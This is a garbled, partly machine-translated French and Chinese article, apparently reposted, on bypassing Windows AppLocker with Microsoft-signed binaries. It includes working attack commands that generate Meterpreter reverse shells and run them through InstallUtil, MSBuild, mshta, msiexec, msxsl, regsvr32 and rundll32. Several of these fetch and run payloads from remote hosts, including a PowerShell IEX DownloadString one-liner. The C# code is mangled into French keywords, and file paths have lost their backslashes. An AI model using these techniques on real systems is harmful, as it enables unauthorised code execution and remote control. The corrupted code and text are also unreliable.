Maison > Article > Opération et maintenance > Comment effectuer une analyse de contournement d'AppLocker
AppLocker, la « politique de contrôle des applications », est une fonctionnalité de sécurité récemment ajoutée au système Windows 7. Cette fonctionnalité est intégrée par défaut dans les systèmes supérieurs à Win7. Nous pouvons activer l'identité d'application dans les services, puis trouver l'option Applocker dans les politiques de contrôle des applications dans la politique de sécurité locale.
Les règles Applocker par défaut prennent en charge les éléments suivants :
Règles** | Formats de fichiers associés ---|--- Fichiers exécutables .exe, .com scripts | .vbs, .js Fichiers Windows Installer | .msi, .msp, .mst applications packagées et programmes d'installation d'applications packagées | Fichiers DLL .dll, .ocx
.appx Tous les applockers n'existeront pas, cela doit être déterminé en fonction la version Windows. Sur win10, après avoir créé la règle applocker, le fichier .applocker correspondant sera produit dans C:WindowsSystem32AppLocker.
Les conditions des règles sont des critères utilisés pour aider AppLocker à identifier les applications auxquelles les règles doivent être appliquées. Les trois principales conditions de règle sont l'éditeur, le chemin et le hachage du fichier.
Publisher : identifie l'application en fonction de sa signature numérique <br>
Path : l'identifie par l'emplacement de l'application dans le système de fichiers de l'ordinateur ou sur le réseau <br>
File Hash : représente le système de fichiers identifié- hachage cryptographique calculé <br>
Après avoir créé une règle applocker, le système vous demandera par défaut s'il faut ajouter une règle par défaut, comme indiqué dans la figure ci-dessous :
Les règles par défaut correspondant à chaque règle sont les suivantes :
Les types de règles exécutables par défaut incluent :
Autoriser les membres du groupe Administrateurs locaux à exécuter toutes les applications. <br>
Autoriser les membres du groupe Tout le monde à exécuter des applications dans le dossier Windows. <br>
Autoriser les membres du groupe Tout le monde à exécuter des applications dans le dossier Program Files. <br>
Les types de règles de script par défaut incluent :
Autoriser les membres du groupe Administrateurs local à exécuter tous les scripts. <br>
Autoriser les membres du groupe Tout le monde à exécuter des scripts dans le dossier Program Files. <br>
Autoriser les membres du groupe Tout le monde à exécuter des scripts dans le dossier Windows. <br>
Les types de règles par défaut de Windows Installer incluent :
Autoriser les membres du groupe Administrateurs local à exécuter tous les fichiers Windows Installer. <br>
Autoriser les membres du groupe Tout le monde à exécuter tous les fichiers Windows Installer signés numériquement. <br>
Autoriser les membres du groupe Tout le monde à exécuter tous les fichiers Windows Installer dans le dossier WindowsInstaller. <br>
DLL Type de règle par défaut :
Autoriser les membres du groupe Administrateurs locaux à exécuter toutes les DLL. <br>
Autoriser les membres du groupe Tout le monde à exécuter des DLL dans le dossier Program Files. <br>
Autoriser les membres du groupe Tout le monde à exécuter des DLL dans le dossier Windows. <br>
Type de règle par défaut des applications enveloppées :
Autoriser les membres du groupe Tout le monde à installer et exécuter toutes les applications enveloppées signées et les installateurs d'applications enveloppées <br>
Les règles peuvent être configurées comme Utilisation l'action autoriser ou refuser :
Autoriser. Vous pouvez spécifier quels fichiers sont autorisés à s'exécuter dans votre environnement et pour quels utilisateurs ou groupes d'utilisateurs. Vous pouvez également configurer des exceptions pour identifier les fichiers exclus des règles. <br>
Rejeté. Vous pouvez spécifier les fichiers dont l'exécution n'est pas autorisée dans votre environnement ainsi que les utilisateurs ou groupes auxquels ils sont destinés. Vous pouvez également configurer des exceptions pour identifier les fichiers exclus des règles. <br>
Cela dit, créons une règle en prenant comme exemple l'interdiction d'exécuter des fichiers exe sur le bureau. La création est à peu près la suivante :
Lancer le test exe :
Le système nous empêchera de fonctionner
InstallUtil fait partie de .NET Framework et est un programme de ligne de commande qui permet aux utilisateurs d'installer et de désinstaller rapidement des applications via l'invite de commande. Étant donné que cet utilitaire est un binaire signé par Microsoft, il peut être utilisé pour contourner les restrictions AppLocker afin d'exécuter n'importe quel exécutable .NET. Cet utilitaire se trouve également dans le dossier Windows, qui n'applique pas les stratégies AppLocker puisque le contenu du dossier Windows doit être exécuté pour que le système fonctionne correctement.
Nous utilisons d'abord WhiteListEvasion (https://github.com/khr0x40sh/WhiteListEvasion) pour générer un modèle
<br>
<br>
python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443
La commande ci-dessus générera un modèle C# qui contiendra le Metasploit ShellCode.
Placez le fichier généré dans la cible et exécutez-le en utilisant la méthode suivante :
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe
Bien sûr, vous peut aussi Vous pouvez d'abord utiliser msf pour générer une charge utile csharp, puis remplacer le shellcode dans le modèle, puis transférer le fichier cs vers la machine cible.
Puis compilez notre script avec csc :
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:exeshell.exe exeshell.cs
À ce moment-là, nous essayons d'exécuter notre fichier :
Intercepté par les règles, nous utilisons alors
<br>
<br>
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
Bypass
msf a été mis en ligne avec succès
Il existe également un module de contournement pour applocker utilisant InstallUtil.exe dans msf.
<br>
<br>
exploit/windows/local/applocker_bypass
Le principe est le même
Avec les chemins communs :
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe<br>
C:WindowsMicrosoft.NETFramework64v2 .0.50727InstallUtil.exe<br>
C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe<br>
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe<br>
MSBuild.exe( Microsoft Build Engine) est la plateforme de création de logiciels utilisée par Visual Studio. Il nécessite des fichiers de projet au format XML qui définissent les exigences de construction pour diverses plates-formes et configurations. (Citation : MSDN MSBuild)
Nous pouvons utiliser MSBuild pour proxy l'exécution de code via des utilitaires Windows de confiance. La fonctionnalité de tâches en ligne MSBuild introduite dans .NET version 4 permet d'insérer du code C# dans des fichiers de projet XML. Tâches en ligne MSBuild compilera et exécutera la tâche en ligne. MSBuild.exe est un binaire Microsoft signé, donc lorsqu'il est utilisé de cette manière, il peut exécuter du code arbitraire et contourner les protections de liste blanche des applications configurées pour permettre l'exécution de MSBuild.exe
Nous sommes directs ici. Utilisez GreatSCT pour générer un fichier XML.
<br>
<br>
./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py
et générera un fichier rc pour nous, nous pouvons utiliser msfconsole -r Démarrez directement msf
puis utilisez msbuild pour exécuter,
msf en ligne :
Bien sûr, vous pouvez également utiliser msf pour générer un shellcode c# puis le charger à l'aide du modèle du master étudiant de Sanhao :
https:// github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml
Notez que le nom du suffixe est changé en .csproj
En plus de faire rebondir le shell, nous pouvons utilisez-le également pour contourner les limitations de PowerShell.
Le code est le suivant :
<br>
<br>
");
chaîne x = Console.ReadLine();
essayer
{
Console.WriteLine(RunPSCommand(x));
}
attraper (exception e)
{
Console.WriteLine(e.Message);
}
}
renvoie vrai ;
} //Basé sur le travail de Jared Atkinson et Justin Warner
chaîne statique publique RunPSCommand (string cmd)
{
// Trucs d'initialisation
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Ajouter des commandes
pipeline.Commands.AddScript(cmd);
//Préparer PS pour la sortie de chaîne et invoquer
pipeline.Commands.Add("Out-String");
Collection<psobject> résultats = pipeline.Invoke();
runspace.Close();
//Convertir les enregistrements en chaînes
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj dans les résultats)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile (script de chaîne)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
}
]]> </psobject>
原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml
成功绕过对powershell的限制。
常见路径如下:
C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe<br>
C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe<br>
C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe<br>
C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe<br>
C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe<br>
C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe <br>
mshta.exe fonctionne sous Windows avec l'application Microsoft HTML et les applications HTML.行.HTA文件。默认已集成在环境变量中。
使用Mshta的方式En savoir plus sur msfexploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > définir srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit
目标机执行:
<br>
<br>
mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta
即可上线。
除了这种方法hta还可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等进行上线。
除了本地文件,mshta还支持远程下载的方式执行payload,比如:
<br>
<br>
mshta.exe javascript:a=GetObject("script:https:/ /gist.github.com/someone/something.sct").Exec();close();
除了以上的方式,mshta可以用用来执行powershell:
<br>rrree
Même si applocker a interdit l'exécution de PowerShell
InfDefaultInstall.exe est un outil utilisé pour l'installation d'inf. Il a la signature Microsoft et le chemin d'existence est :
C:WindowsSystem32Infdefaultinstall.exe<br>
C:WindowsSysWOW64Infdefaultinstall.exe<br>
Nous pouvons également l'utiliser pour contourner certaines restrictions. L'utilisation est de suivre directement le fichier avec votre fichier inf.
its Le processus d'exécution est le suivant:
L'adresse POC donnée par l'auteur est la suivante:
https: //gist.github.com/kylehanslovan/5e0f00d331984c1fb5be32c40f3b265a
, utilisez shady.inf Appelez la porte dérobée sct distante.
Mais son appel nécessite des autorisations plus élevées. La capture d'écran que j'ai exécutée sous win10 :
Mavinject est un composant Windows fourni avec win10. Nous pouvons l'utiliser pour l'injection de dll et contourner certaines restrictions.
L'utilisation est la suivante :
<br>
<br>
mavinject32.exe
Les chemins courants sont les suivants :
C:Program FilesCommon Filesmicrosoft sharedClickToRunMavInject32.exe<br>
C:WindowsSystem32mavinject .exe<br>
C:WindowsSysWOW64mavinject.exe<br>
Mais lorsque je l'ai reproduit localement, il n'a pas été injecté avec succès, mais il n'y a eu aucune invite. Je ne connais pas la raison précise. La version est : 10.0. .15063.0 (WinBuild.160101.0800)
Il devrait être possible d'injecter avec succès. Vous trouverez ci-joint une photo du succès du patron de Twitter.
Si vous êtes intéressé, vous pouvez essayer quelques systèmes supplémentaires.
MSIEXEC est une application de Microsoft qui peut être utilisée pour installer ou configurer des produits à partir de la ligne de commande. Ce n’est en fait pas très inconnu. J’ai déjà écrit des articles sur son utilisation pour élever les privilèges. Nous supposons que le fichier msi peut être exécuté et utilisé pour contourner les restrictions d'applocker sur PowerShell.
Utilisez d’abord msf pour générer un fichier msi.
<br>
<br>
msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi
Exécuté sous Windows :
Contourné avec succès.
msxsl.exe est un convertisseur XML avec signature numérique Microsoft. L'adresse de téléchargement est la suivante :
https://www.microsoft.com/en-us/download/details.aspx?id=21714
Nous utilisons 3gstudent pour essayer de contourner la restriction de calcul d'applocker,
clients .xml:
<br>
<br>
script.xml :
<br>
<br>
成功绕过:
当然也可以执行我们的shellcode,具体参考:
https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
regsv***是Windows命令行实用程序,用于将.dll文件和ActiveX控件注册和注销到注册表中。
文件位置:
C:\Windows\System32\regsv***.exe<br>
C:\Windows\SysWOW64\regsv***.exe<br>
下面为大家演示,绕过applocker上线。
scT文件内容如下:
<br>
<br>
各参数的含义:
静默不显示任何消息// / s<br>
不调用DLL注册服务器// / n<br>
要使用另一个IP地址,因为它不会调用DLL注册服务器// / i<br>
使用取消注册方法// / u<br>
除了本地执行,它还支持远程加载:
<br>
<br>
regsv*** /u /n /s /i:http://ip:port/payload.sct scrobj.dll
sct我们使用GreatSct生成即可。
Rundll32是一个Microsoft二进制文件,可以执行DLL文件中的代码。由于此实用程序是Windows操作系统的一部分,因此可以用作绕过AppLocker规则或软件限制策略的方法
先生成我们的payload:
目标机执行:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication "; document.write(); new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
<br>
上线:
除了远程之外,也可以本地上线:
rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll
<br>
也可以用来绕过对某些软件的限制,比如弹个cmd:
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!